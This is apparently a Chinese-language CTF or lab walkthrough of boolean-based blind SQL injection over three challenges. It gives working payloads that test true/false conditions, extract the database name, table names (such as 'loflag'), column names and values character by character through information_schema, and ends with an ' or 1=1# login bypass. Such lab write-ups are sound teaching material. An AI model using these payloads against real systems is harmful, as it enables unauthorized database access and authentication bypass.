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 SQL注入 专栏收录该内容
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布尔盲注（一）

布尔盲注（二）

布尔盲注（三）

布尔盲注（一）布尔盲注（一）

1、判断注入类型

id=1 and 1=1//有数据
id=1 and 1=2//no results found

判断为数字型布尔盲注

2、判断数据库长度，获取数据库名

and length(database())=1

数据库名长12

抓包，爆破，获取

and ascii(substr(database(),1,1))=1
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获取数据库名

3、判断有几个表，并获取第一个表的表名

判断有几个表,并获取表名的长度

and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1

可见这个库下有三个表

获取第一个表的表名

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)
)=1

得到表名

4、获取表下的字段数目，并获取第一个字段的字段名

获取该表下有几个字段，并确定他们的长度

and length((select column_name from information_schema.columns where table_schema=database() and table_name='lof
lag' limit 0,1))=1

可见该表下有两个字段，且第一个字段长为2

获取第一个字段的字段名

and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_nam
e='loflag' limit 0,1),1,1))=73



得到字段名

5、判断该字段下有几个字段值，并获取第一个字段值

获取字段值的总数目与长度

and length((select Id from loflag limit 0,1))=1

可见，有五个字段值，且他们的长度都为1

这样，我们猜测id的值均为数字，那么我们获取全部的字段值

and (select Id from loflag limit 0,1)=1

这样就得到该字段下的所有字段值

布尔盲注（二）布尔盲注（二）

把双引号闭合，后续操作同（一）

布尔盲注（三）布尔盲注（三）

使用 ' or 1=1#即可成功登录
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